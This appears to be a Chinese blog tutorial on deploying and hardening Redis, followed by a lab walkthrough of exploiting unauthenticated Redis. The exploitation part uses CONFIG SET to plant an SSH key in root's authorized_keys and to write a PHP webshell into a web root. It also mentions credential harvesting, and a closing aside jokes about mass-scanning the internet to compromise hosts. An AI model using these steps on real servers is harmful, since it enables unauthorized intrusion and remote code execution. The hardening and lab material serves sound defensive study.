0x01 其实redis
跟memcached
单从功用上来讲,基本差不太多,只是在数据量非常大的情况下,memcached 就会有很多的问题,但redis在这方面却恰巧做的还不错,且redis所支持的功能更加全面,也能更好的适应一些比较复杂的业务逻辑,下面则是关于redis的一些优良特性
1 2 3 4 5
| 所支持的数据类型较丰富 支持持久化存储 支持主从复制 性能强悍,并发可超十万 ...
|
此次演示环境
1 2 3 4 5
| CentOS6.8_x86_64 ip: 192.168.3.42 Oldlnmp root权限下的redis未授权 CentOS6.8_x86_64 ip: 192.168.3.66 RedisMaster 为加固过的redis Ubuntu16.04 server ip: 192.168.3.67 RedisSlave root权限下的redis未授权 Ubuntu16.04 LTS ip: 192.168.3.12 Metasploit 为redis客户端 win7cn ip: 192.168.3.60 后续连webshell用
|
0x02 开始安装部署 redis,此处暂以最新版为例进行演示,为了避免redis自身的一些漏洞,建议使用最新版的稳定版本
1 2 3 4 5 6 7 8 9
| # wget http://download.redis.io/releases/redis-4.0.6.tar.gz # tar xf redis-4.0.6.tar.gz # cd redis-4.0.6 # make MALLOC=jemalloc # make PREFIX=/usr/local/redis-4.0.6 install # ln -s /usr/local/redis-4.0.6/ /usr/local/redis # export PATH=/usr/local/redis/bin/:$PATH # echo "export PATH=/usr/local/redis/bin/:$PATH" >> ~/.bash_profile # redis-server -h
|
0x03 安装成功后,我们就来大致了解下 redis 的目录结构及其内置工具具体用途
1 2 3 4 5 6 7 8
| # tree /usr/local/redis └── bin ├── redis-benchmark 性能测试工具 ├── redis-check-aof 检查更新日志 ├── redis-check-rdb 检查本地数据库 ├── redis-cli redis客户端连接工具 ├── redis-sentinel -> redis-server └── redis-server redis服务端
|
0x04 配置并启动redis服务,它默认工作在tcp的6379端口上
启动redis前的一些必要准备,主要是修改一些和性能相关的内核参数
1 2 3 4 5 6
| # mkdir /usr/local/redis/{config,log} # cp /root/redis-4.0.6/redis.conf /usr/local/redis/config/ # echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf # echo "net.core.somaxconn = 1024" >> /etc/sysctl.conf # echo "echo never > /sys/kernel/mm/transparent_hugepage/enabled" >> /etc/rc.local # sysctl -p
|
此处的redis配置仅仅只是针对安全方面的一些设置,关于redis的性能和其它功能配置并无涉及
1 2 3 4 5 6 7 8
| bind 192.168.3.66 127.0.0.1 # 只允许指定的内网段和本机访问redis port 6379 # redis默认工作端口,建议改掉 daemonize yes # 让它默认就在后台运行 pidfile /var/run/redis_6379.pid # 指定进程文件存放位置 loglevel warning # 修改的日志记录级别 logfile "/usr/local/redis/log/redis_6379.log" # 指定运行日志存放位置 requirepass admin # 设置登陆密码,此项非常重要,务必要记得开启
|
尽量以低权限启动redis服务,此tip非常非常重要
,如果你不想让自己的服务器被人秒秒钟入侵,把服务运行权限压缩在一个极小的系统权限下是极度有必要的
1 2 3 4 5
| # useradd -r redis # chown -R redis.redis /usr/local/redis/log/ # su - redis $ /usr/local/redis-4.0.6/bin/redis-server /usr/local/redis/config/redis.conf $ netstat -tulnp | grep 6379
|
0x05 如下是 redis 所支持的一些基本数据类型
1 2 3 4 5
| 字符串 str 列表 list 集合 set hash类型 hash 更多...
|
0x06 利用redis客户端连上服务端,手工进行一些常规的增删改查操作
关于redis终端的基本特性,支持tab键自动补全
,直接在redis终端下使用help 命令
即可查看指定命令的详细帮助,可以说已经是非常的友好了
1 2 3 4 5 6 7 8
| 192.168.3.66:6379> info 可用来查看redis服务的各种状态信息 192.168.3.66:6379> help keys 192.168.3.66:6379> help @string 192.168.3.66:6379> help @list 192.168.3.66:6379> help @set 192.168.3.66:6379> help @hash 192.168.3.66:6379> keys *
|
针对字符串类型的增删改查
针对集合类型的增删改查,另外要注意,set是不允许重复的
针对列表类型的增删改查
针对hash类型的增删改查,这里的数据类型还没说完,关于其余类型下的增删改查基本都差不太多,只是命令,特性不一样而已,换汤不换药,大家可自行尝试
除了在redis终端下进行增删改查,也可直接在shell中无需交互来执行redis内置命令,如下
1 2
| # redis-cli -h 192.168.3.66 -p 6379 -a admin set name klion # redis-cli -h 192.168.3.66 -p 6379 -a admin monitor
|
为了防止恶意破坏和部分误操作,可根据自身实际情况针对性禁用一些redis内置危险命令
1 2 3 4
| rename-command FLUSHALL "" rename-command CONFIG "" 如果不需要用脚本动态改服务配置文件的情况,直接禁用掉即可 rename-command EVAL "" rename-command KEYS ""
|
防止入侵者往authorized_keys文件中新增公钥,可对指定目录和文件进行降权和锁定
1 2 3 4
| # su - redis $ chmod 400 ~/.ssh/authorized_keys # chattr +i ~/.ssh/authorized_keys # chattr +i ~/.ssh 防止入侵者自己新建.ssh目录和authorized_keys文件
|
尽量不要把redis直接暴露在公网中,如果实在有必要可通过iptables来限制ip访问,比如,只让192.168.3.42这个ip来访问,另外,这里的规则仅作为demo参考,请自行根据实际情况进行调整
1 2
| iptables -P INPUT DROP iptables -A INPUT -s 192.168.3.42 -p tcp --dport 6379 -j ACCEPT
|
关于redis的更多内置命令使用详情,可自行去参考其官方文档,因为并非此处重点,所以就不做详述了,大家也都看到了,使用都非常简单的,只不过实际中,我们可能都是在用其提供的各类脚本api在操作,像这样纯手工增删改查的机会并不多
0x07 关于 redis 主从同步简单实现,其实也非常简单,主库上不用做任何配置,只需要在从库配置文件中指定主库的ip,服务端口和正确密码
之后重启服务即可,至于redis的负载均衡实现,在做好主从同步后就更简单了,并非重点,此处不再赘述
1 2 3
| # vi /usr/local/redis/config/redis.conf 只需要编辑从库配置文件,开启如下两项即可 slaveof 192.168.3.66 6379 masterauth admin
|
0x08 编译安装php的redis客户端扩展
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| # wget https://pecl.php.net/get/redis-3.1.2.tgz # tar xf redis-3.1.2.tgz # cd redis-3.1.2 # /usr/local/php/bin/phpize # ./configure --with-php-config=/usr/local/php/bin/php-config # make && make install # ls /usr/local/php-5.6.32/lib/php/extensions/no-debug-non-zts-20131226/ # vi /usr/local/php/etc/php.ini extension_dir = "/usr/local/php-5.6.32/lib/php/extensions/no-debug-non-zts-20131226/" extension=redis.so
# pkill php-fpm # /usr/local/php/sbin/php-fpm # lsof -i :9000
|
0x09 对我们来讲,最值得关注的可能还是redis 的一些安全问题,当然,不可否认的是,敏感信息泄露确实是一方面,但最臭名昭著的可能还是未授权访问
,运气好的情况下,你甚至会碰到直接root权限的redis未授权,关于此错误配置的一些简单粗暴的利用方式,如下
0x10 在开始具体的利用之前,我们先来简单了解下什么是config
1 2
| config 命令本身是为动态调整Redis服务配置文件而无须重启设计的,既然是写文件,只要权限够,我们一样也可以用它来写各种shell 至于你要把这个shell写到哪里,随你便,权限只要在手,衍生出来的思路和技巧是无穷的,比如,你甚至可以想办法直接弹个meterpreter回来都是可以的
|
0x11 几种具体的利用方式,如下
第一种,直接以root身份启动redis服务,可尝试写ssh key
,但想利用成功是有前提的,首先,目标机器必须已事先开启ssh key登录,因为那个.ssh目录
默认是不存在的,其次,目标机器的ssh服务端口必须允许外连,否则即使写进去了,不让连也是尴尬,最后,还需要ssh服务配置中允许root用户直接ssh远程连才可以
1 2 3 4 5 6 7 8
| 192.168.3.42:6379> config set dir /root/.ssh/ 可以暂且把它理解成往这个目录下写shell 192.168.3.42:6379> config get dir 192.168.3.42:6379> config set dbfilename "authorized_keys" 指定数据文件名 192.168.3.42:6379> save
|
1
| # ssh -i id_rsa root@192.168.3.42 最后,在本地直接用私钥连到目标机器上即可
|
第二种,root权限下利用redis在远程机器上执行lua脚本,本来想直接用lua弹个shell回来的,只不过暂时还不太完美,后续搞定会再更新上来 ^_^
1 2
| # cat shell.lua # redis-cli --eval shell.lua -h 192.168.3.67 -p 6379
|
第三种,低权限启动redis服务,先想办法找到目标网站的物理路径,然后再尝试往目标站点目录中写webshell,当然啦,这个想利用成功也是有前提的,首先,redis和web必须处在同一机器上,如果站库分离就不太好写了哼哼...但实际中,绝大部分都是站库分离
,其次,web服务用户和redis服务用户最好为同一系统用户,否则很可能会出现网站目录写不进去的情况,在实战中写webshell这种利用场景往往更适合windows,嘿嘿……以后大家就会懂的
1 2 3 4 5
| 192.168.3.42:6379> config set dir /usr/local/nginx/html/bwapp/bWAPP/ 192.168.3.42:6379> config set dbfilename licens.php 192.168.3.42:6379> set klion "<?php $sl = create_function('', @$_REQUEST['request']);$sl();?>" 192.168.3.42:6379> save
|
第四种,在redis服务低权限下也可尝试从中搜集各类敏感信息,如各类账号密码…
1
| # redis-cli -h 192.168.3.67 -p 6379
|
后话:
服务本身使用上非常简单,也没什么太多好说的,权限够的情况下,其实还可以衍生出非常非常多的利用手法,这里就不一一细说了,大家如果有兴趣,可以写成批量脚本,全网全自动一键抓鸡,自动验证权限并弹shell...
没事儿,放哪儿天天让它自己跑就行了,哼哼……不说多了,不然有点儿那啥了,毕竟还是希望大家利用技术去做正确且有意义的事情,绝无任何教唆的意思,最后,欢迎大家一起来交流,祝好运 ^_^